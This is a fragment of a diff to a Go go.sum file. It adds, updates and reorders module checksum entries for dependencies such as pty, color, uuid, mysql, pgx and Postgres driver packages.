github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
|
||||
github.com/creack/pty v1.1.17 h1:QeVUsEDNrLBW4tMgZHvxy18sKtr6VI492kBhUfhDJNI=
|
||||
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
@@ -78,23 +90,30 @@ github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1
|
||||
github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E=
|
||||
github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
|
||||
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
|
||||
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk=
|
||||
github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ=
|
||||
github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0=
|
||||
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
|
||||
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
|
||||
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
github.com/fatih/color v1.14.1 h1:qfhVLaG5s+nCROl1zJsZRxFeYrHLqWroPOQ8BWiNb4w=
|
||||
github.com/fatih/color v1.14.1/go.mod h1:2oHN61fhTpgcxD3TSWCgKDiH1+x4OiDVVGH8WlgGZGg=
|
||||
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
|
||||
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
|
||||
github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
|
||||
github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=
|
||||
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
|
||||
github.com/go-sql-driver/mysql v1.7.0 h1:ueSltNNllEqE3qcWBTD0iQd3IpL/6U+mJxLkazJ7YPc=
|
||||
github.com/go-sql-driver/mysql v1.7.0/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
|
||||
github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
|
||||
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
|
||||
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||
github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
|
||||
github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
|
||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
|
||||
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
|
||||
@@ -102,8 +121,9 @@ github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
|
||||
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
|
||||
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
|
||||
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
|
||||
github.com/gofrs/uuid v4.4.0+incompatible h1:3qXRTX8/NbyulANqlc0lchS1gqAVxRgsuW1YrTJupqA=
|
||||
github.com/gofrs/uuid v4.4.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gofrs/uuid v4.3.1+incompatible h1:0/KbAdpx3UXAx1kEOWHJeOkpbgRFGHVgv+CFIY7dBJI=
|
||||
github.com/gofrs/uuid v4.3.1+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
|
||||
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
|
||||
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
||||
@@ -111,17 +131,31 @@ github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfb
|
||||
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
|
||||
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
|
||||
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
|
||||
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
|
||||
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
|
||||
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
|
||||
github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
|
||||
github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
|
||||
github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
|
||||
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
||||
github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=
|
||||
github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
|
||||
github.com/google/btree v1.0.1 h1:gK4Kx5IaGY9CD5sPJ36FHiBJ6ZXl0kilRiiCj+jdYp4=
|
||||
github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA=
|
||||
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
|
||||
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE=
|
||||
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
|
||||
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ=
|
||||
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
|
||||
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
|
||||
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
@@ -129,6 +163,7 @@ github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI=
|
||||
github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y=
|
||||
github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
|
||||
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=
|
||||
github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
@@ -144,17 +179,57 @@ github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
|
||||
github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc=
|
||||
github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
|
||||
github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo=
|
||||
github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
|
||||
github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8=
|
||||
github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
|
||||
github.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA=
|
||||
github.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE=
|
||||
github.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s=
|
||||
github.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o=
|
||||
github.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY=
|
||||
github.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI=
|
||||
github.com/jackc/pgconn v1.13.0 h1:3L1XMNV2Zvca/8BYhzcRFS70Lr0WlDg16Di6SFGAbys=
|
||||
github.com/jackc/pgconn v1.13.0/go.mod h1:AnowpAqO4CMIIJNZl2VJp+KrkAZciAkhEl0W0JIobpI=
|
||||
github.com/jackc/pgio v1.0.0 h1:g12B9UwVnzGhueNavwioyEEpAmqMe1E/BN9ES+8ovkE=
|
||||
github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8=
|
||||
github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE=
|
||||
github.com/jackc/pgmock v0.0.0-20201204152224-4fe30f7445fd/go.mod h1:hrBW0Enj2AZTNpt/7Y5rr2xe/9Mn757Wtb2xeBzPv2c=
|
||||
github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5Wi/+Zz7xoE5ALHsRQlOctkOiHc=
|
||||
github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak=
|
||||
github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
|
||||
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk=
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM=
|
||||
github.com/jackc/pgx/v5 v5.3.0 h1:/NQi8KHMpKWHInxXesC8yD4DhkXPrVhmnwYkjp9AmBA=
|
||||
github.com/jackc/pgx/v5 v5.3.0/go.mod h1:t3JDKnCBlYIc0ewLF0Q7B8MXmoIaBOZj/ic7iHozM/8=
|
||||
github.com/jackc/puddle/v2 v2.2.0/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
|
||||
github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78=
|
||||
github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA=
|
||||
github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg=
|
||||
github.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
|
||||
github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
|
||||
github.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgproto3/v2 v2.3.1 h1:nwj7qwf0S+Q7ISFfBndqeLwSwxs+4DPsbRFjECT1Y4Y=
|
||||
github.com/jackc/pgproto3/v2 v2.3.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b h1:C8S2+VttkHFdOOCXJe+YGfa4vHYwlt4Zx+IVXQ97jYg=
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E=
|
||||
github.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01CGwFsrv11mJRHWJ6aifDLfdV3aVjFF0zg=
|
||||
github.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc=
|
||||
github.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw=
|
||||
github.com/jackc/pgtype v1.8.1-0.20210724151600-32e20a603178/go.mod h1:C516IlIV9NKqfsMCXTdChteoXmwgUceqaLfjg2e3NlM=
|
||||
github.com/jackc/pgtype v1.12.0 h1:Dlq8Qvcch7kiehm8wPGIW0W3KsCCHJnRacKW0UM8n5w=
|
||||
github.com/jackc/pgtype v1.12.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4=
|
||||
github.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y=
|
||||
github.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM=
|
||||
github.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc=
|
||||
github.com/jackc/pgx/v4 v4.12.1-0.20210724153913-640aa07df17c/go.mod h1:1QD0+tgSXP7iUjYm9C1NxKhny7lq6ee99u/z+IHFcgs=
|
||||
github.com/jackc/pgx/v4 v4.17.2 h1:0Ut0rpeKwvIVbMQ1KbMBU4h6wxehBI535LK6Flheh8E=
|
||||
github.com/jackc/pgx/v4 v4.17.2/go.mod h1:lcxIZN44yMIrWI78a5CpucdD14hX0SBDbNRvjDBItsw=
|
||||
github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.3.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.4 h1:N+gz6UngBPF4M288kiMURPHELDMIhF/Em35aYuKrsSc=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.4/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.2 h1:DcJNSNIb1E17Tvy9w9S7z+sExvWvvjNbFdyr6C+FUL0=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.2/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
@@ -170,39 +245,47 @@ github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5
|
||||
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
|
||||
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
|
||||
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
|
||||
github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
|
||||
github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
|
||||
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
|
||||
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
|
||||
github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0=
|
||||
github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk=
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
|
||||
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
|
||||
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
|
||||
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
|
||||
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
|
||||
github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Ntbse4a4s0=
|
||||
github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.10.2 h1:AqzbZs4ZoCBp+GtejcpCpcxM3zlSMx29dXbUSeVtJb8=
|
||||
github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4=
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
|
||||
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
|
||||
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
|
||||
